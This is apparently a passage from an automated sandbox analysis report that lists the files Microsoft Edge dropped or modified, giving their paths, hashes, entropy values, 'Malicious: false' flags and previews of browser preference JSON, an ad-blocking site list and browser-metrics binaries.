Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	21874
Entropy (8bit):	6.060838385023881
Encrypted:	false
SSDEEP:	384:OBtMkaMJH2m8qVT8IeQ0I5t0b9MEFdsNwp1wJ+L06TRyj4T35ub/Y3jFd474W:UMkbJrT8IeQc5dNycoj4L5uTY3Jg
MD5:	37CBD818495C4AFE239BD76B9EBBE250
SHA1:	7414B19F059504C69FE1475D4F68C18996A5B358
SHA-256:	60F012ACEECC49B0C8A42606CF5FF283C1DD4F154ADBF865F99E212E8F38691B
SHA-512:	7BE4F640CD7EA6C4A2B3894BBDF34C3B6EC86C921923BF218CC9FF8B33C60E9C20AECC21A351A07AE4494D498517B3D9DD1A3511F2023FB7DD851697305BB7D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13379780575703241","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5558d89d-3ef1-4498-b5e9-13ad84adf4e8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8333
Entropy (8bit):	5.798060882258706
Encrypted:	false
SSDEEP:	192:fsNw9m1wCeiRUH96ajRBkje6qRAq1k8SPxVLZ7VTiQ:fsNw41w4+96QRyje6q3QxVNZTiQ
MD5:	4A5CA46C6E122AACEB231AA603B0FB92
SHA1:	701E8A16BF272D6767C114F7AC2D6C6A12E74FE4
SHA-256:	04F893830F64BCAC9D1974BC949C4AE80BAAEF036D86B1CC4135649F3D354C4E
SHA-512:	18501B4803360E45A46C9BD4161CF51B7292B53E3481140B08F727E3257BA721571248C40193F4D828B68E83C6AAE924881063C347F0C0F6B69060DAD55318FC
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5f2faafd-3400-40a8-93fb-0a39e2f988fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24768
Entropy (8bit):	6.053620647539146
Encrypted:	false
SSDEEP:	384:OBtMkaMJH2m8qVT8IeQ0I5t0b9MEFdsNxp1wJ+L061RxkC5IZz3CqLT35ub/Y3jS:UMkbJrT8IeQc5dsyc2ZzyqLL5uTY3Jg
MD5:	AA7F9D917D4EBB97367CEB5FE39D9662
SHA1:	2B5A1D5F5A009AAAD3C4A49AC7C9CA53DAE4E53A
SHA-256:	83676EB67706928B2E160E74195E554B80BE473992D54A943CB8CE92EC428175
SHA-512:	5D520F5714A75AAE4A71F9B31C49CA3C03328A2C0B48C26FEB1B21F5EB9FA42A0FC87E13F8954E0CA78B016AEB035BA177CDC9959C9223D17237278FD0640736
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13379780575703241","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7d91ea11-bd5d-4139-93ca-69ee80dba042.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9448
Entropy (8bit):	5.831370639618142
Encrypted:	false
SSDEEP:	192:fsNw9m1wCeiRUH96g1mEyUSkjB96qRAq1k8SPxVLZ7VTiB:fsNw41w4+96YX3RjB96q3QxVNZTiB
MD5:	E3FFD017FD399BFA80AE727B05469093
SHA1:	8856939DB8BED0787548256790567B4300F56946
SHA-256:	7D66C216B94C7098D20DE72ED23395CBF79D6478E58A0273183F7F82B48F1E46
SHA-512:	4A54F02DD00F12D7299AACA13EC1404610CE896E761A549319A0852C095CFC985686827884943F74E782DDD926E506834C84DF6EA4FE5AA2AC74359AF1A6416D
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8048a411-db86-4bcd-8ee4-4bb7193e99b0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	9424
Entropy (8bit):	5.822494020271816
Encrypted:	false
SSDEEP:	192:fsNw9m1wCeiRUH96g1mEUyRjkjW+v96qRAq1k8SPxVLZ7VTiB:fsNw41w4+96YX7RgjZ96q3QxVNZTiB
MD5:	15FD2CC1018C22AB86C3BE47A872FCC3
SHA1:	CE2F440EB50FFABA3CDDB18CACA26736363954D6
SHA-256:	DF31E81FCF91909236E9FD0834151E16FB89BA082AA9F791255C0077C4585EAD
SHA-512:	73FF9B9A17D2AD25754F39B4E3E1D619099ABAAE4CA074A90E1473B5BA8DA1D3E206535B9FC4ABC922ABBAAC90E8F40827563684DC40C4F5AFFB2B9CE7DAC93A
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8337ad26-2438-43d0-a417-f1fd1d11093f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	9448
Entropy (8bit):	5.831370639618142
Encrypted:	false
SSDEEP:	192:fsNw9m1wCeiRUH96g1mEyUSkjB96qRAq1k8SPxVLZ7VTiB:fsNw41w4+96YX3RjB96q3QxVNZTiB
MD5:	E3FFD017FD399BFA80AE727B05469093
SHA1:	8856939DB8BED0787548256790567B4300F56946
SHA-256:	7D66C216B94C7098D20DE72ED23395CBF79D6478E58A0273183F7F82B48F1E46
SHA-512:	4A54F02DD00F12D7299AACA13EC1404610CE896E761A549319A0852C095CFC985686827884943F74E782DDD926E506834C84DF6EA4FE5AA2AC74359AF1A6416D
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8522cacd-c889-44d0-9249-60a77b3e7cf9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9424
Entropy (8bit):	5.822576891181307
Encrypted:	false
SSDEEP:	192:fsNw9m1wCeiRUH96g1mEx1RikjW+v96qRAq1k8SPxVLZ7VTiB:fsNw41w4+96YXDRhjZ96q3QxVNZTiB
MD5:	A07F48FF8CBE59E3CF9FE9E340FE2611
SHA1:	18C10DB992BDED404429127DD9A537DF738ABE2B
SHA-256:	00B6D34FEA992B6322888A081872602AB3CA5C2174BFD041FBE20300803328DD
SHA-512:	2D58E93CB773017C133D5AAA721535D68A660728BDD87C54211E32D2B4AE0736216B14CBAE1AB732DEDBD583FCB455CF99663679EA10B143E37A6C8910285521
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\968544a8-4412-4026-afeb-5550491e9dce.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9424
Entropy (8bit):	5.822494020271816
Encrypted:	false
SSDEEP:	192:fsNw9m1wCeiRUH96g1mEUyRjkjW+v96qRAq1k8SPxVLZ7VTiB:fsNw41w4+96YX7RgjZ96q3QxVNZTiB
MD5:	15FD2CC1018C22AB86C3BE47A872FCC3
SHA1:	CE2F440EB50FFABA3CDDB18CACA26736363954D6
SHA-256:	DF31E81FCF91909236E9FD0834151E16FB89BA082AA9F791255C0077C4585EAD
SHA-512:	73FF9B9A17D2AD25754F39B4E3E1D619099ABAAE4CA074A90E1473B5BA8DA1D3E206535B9FC4ABC922ABBAAC90E8F40827563684DC40C4F5AFFB2B9CE7DAC93A
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640173185101434
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7R:fwUQC5VwBIiElEd2K57P7R
MD5:	68DDA50FDB9AF6E86F170412111C6190
SHA1:	B3171ED37DBCB85AA186B62063672E4E3A218DFE
SHA-256:	56E97854FDFA5C5ADFBAA13F061961DDF48BD400882520B4E886CA79A1EC4D65
SHA-512:	71A8FA2B6FB152BCD0FEAB5FC0F21F8B0CC112FEE14D0992E34BB49A86A3AFFDFFB7DA8FB20B75AD0ED28D75EA296ED65726252984B4666190CF12E22719DEF8
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\ccd0f70b-d75a-4976-94a4-3815ebdc1a3b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640173185101434
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7R:fwUQC5VwBIiElEd2K57P7R
MD5:	68DDA50FDB9AF6E86F170412111C6190
SHA1:	B3171ED37DBCB85AA186B62063672E4E3A218DFE
SHA-256:	56E97854FDFA5C5ADFBAA13F061961DDF48BD400882520B4E886CA79A1EC4D65
SHA-512:	71A8FA2B6FB152BCD0FEAB5FC0F21F8B0CC112FEE14D0992E34BB49A86A3AFFDFFB7DA8FB20B75AD0ED28D75EA296ED65726252984B4666190CF12E22719DEF8
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676EAEDB-1784.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.039659159512024054
Encrypted:	false
SSDEEP:	192:eN01utmqvDzKX7SJ8iD12absbZHtgbXSh8IYhHBNELi/cRQMc7SRRn8y08Tcm2Rl:g0EtblWC1hhxQvRR08T2RGOD
MD5:	C5A28C1ADD16AC71E8A35205B4A6D595
SHA1:	00611E838A53A50E6C1E2944CF8E8DDED2172B21
SHA-256:	90F12E808BAD59B0DFB86F94E1456E71EEC530D1F4C4CD01A6F913496C2670EA
SHA-512:	3C72FEFEDBB8234C66ADCE49B285A4E17E11D91C351E9F2775375123FCF208095889A74A07A4B90A512553C8A8C503306242E9C8C6980AC66D3202F2C365DA9C
Malicious:	false
Preview:	...@..@...@.....C.].....@................a...P..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....m.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".hfgnjm20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U...&..`v.>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...............................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676EAEDE-764.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.33740490890666824
Encrypted:	false
SSDEEP:	3072:t6UrN4GPtwkkLpeKAGe9/MFTP7kWXQvzV4aTRiPCLQqWgKy14MfeNfhm0a+hX+kT:rN8Lyq7hXQvbSz/hkaHBSDzU9
MD5:	0E111CF80DE127A0C67F2531DEFC24EE
SHA1:	F9A98CBA327DA598E497376ACFBC1BF9EB788D9D
SHA-256:	1BE72EA59A402AD106417250E489C5C81AE97E015C6B50D1615BDBD9C305DDDE
SHA-512:	39C3EEA5924FBE95B39E4DD5674E7B2BCC35941EB7B8F992707A5C9AF66B88E8E96769784CBFFA981463FF8B04400CE6BEA886D20DB0AA5B1F73CB7D451841C6
Malicious:	false
Preview:	...@..@...@.....C.].....@................z..hy..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB*...Windows NT..10.0.190452....x86_64..?........".hfgnjm20,1(.0..8..B....(.....10.0.19041.5462.Google Inc. (Google):bANGLE (Google, Vulkan 1.3.0 (SwiftShader Device (Subzero) (0x0000C0DE)), SwiftShader driver-5.0.0)M..BU..Be...?j...GenuineIntel... .. ..............x86_64...J../T...^o..J...Y...^o..J..w....^o..J..A....^o..J....c..^o..J...c=..^o..J....J..^o..J..3.(..^o..J.......^o..J...b.J.^o..J...#...^o..J....k..^o..J..?....^o..J....-..^o..J..S..O.^o..J..l.zL.^o..J..1.9..^o..J..@."..^o..J..?U...^o..J..aV...^o..J..z{...^o..J..n....^o..J..0....^o..J....%.^o..J...I.r.^o..J......^o..J..ZK...^o..J.....^o..J.......^o..J...'x#.^o..J......^o..J....\.^o.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676EAEE8-15AC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.038627938727481576
Encrypted:	false
SSDEEP:	192:0A0EbtmqvDEKX7qJEaIX1gjcg/X3RY0c/j3h1YNCQds1gQ814SMrn8y08Tcm2RGY:f0EtkeHaJ+3hiI4Mgh4B08T2RGOD
MD5:	AA6FF83B2D7D5085B227329E2929458F
SHA1:	D75B23B148D2AE7B49D4DD08B91F9601D00BC878
SHA-256:	EF40BD92EEA66478800A8C9AD91543F868AA9BD508E8623C7FAC0838EE62C352
SHA-512:	6D27DC6E73C2FCD7F70D134BBA857632A56104C11F0C623E4E9F58E039F9276F14CA71C2A23A9B96AC5A2BACB511097CEAA2782C8F3697F43C887F68D6ABAEAB
Malicious:	false
Preview:	...@..@...@.....C.].....@...............8^...M..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....m.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".hfgnjm20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U...&..`v.>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...............................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676EAEF6-2048.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.037763110025925965
Encrypted:	false
SSDEEP:	192:IF0EbtmqvDiKX7tJEaIX1YW9XyGgD1DDhM4NEg4RW1gQsizX3gDn8y08Tcm2RGOD:O0EtNeH/mJhVeyguze08T2RGOD
MD5:	AD971E479CFFA42A7878C685253F5290
SHA1:	FC202E64045F7703768FA4F61EBB5C40865A0D88
SHA-256:	D8F350995EABD609EFAA471909CD4A70EAC53C1D257B71193B5AE507130FE69A
SHA-512:	CFF62845783D1AD0A2796DC45527496ED367C4A0F200C48ED9DCA4A065F12F51D5B6D641B6662DAC2F8CC7D59BFDF97CDEE5F5C974A2915D0A58D3490CBCEF77
Malicious:	false
Preview:	...@..@...@.....C.].....@...............@\...K..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....m.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".hfgnjm20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U...&..`v.>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...............................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676EAEF9-21E0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.038865791671172496
Encrypted:	false
SSDEEP:	192:ch0EbtmqvD3KX7gJEa3Xxx7UpXxgg6zfhj1NEx7snu1gQMZnNZaGq2n8y08Tcm2D:i0Et5eZVQh52O6gpNTh08T2RGOD
MD5:	526D4D2771AB833AAE643BD4A2935AB1
SHA1:	4732E23B87CE999D8026DB21B17D7520286D28E8
SHA-256:	A32CBEE373E39F19DB7C3F316707CFA049EAFE7147E0246EE92CC3190E940900
SHA-512:	A24992E745EE0986BA3AB78759DE84EE4F9FF9F5835A89D9ABD547D8411BA5EEAEB8F194970A289A29C3C14EA9B9E68DE781D9EC1DA4070141B71DDFFF482BF1
Malicious:	false
Preview:	...@..@...@.....C.].....@...............8^...M..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....}.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".hfgnjm20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U].0r........>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.3553968406659012
Encrypted:	false
